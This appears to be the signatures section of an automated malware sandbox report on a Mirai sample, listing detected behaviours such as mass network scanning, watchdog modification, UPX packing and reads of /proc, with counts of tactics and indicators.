Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (11262) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 8 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 32 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.
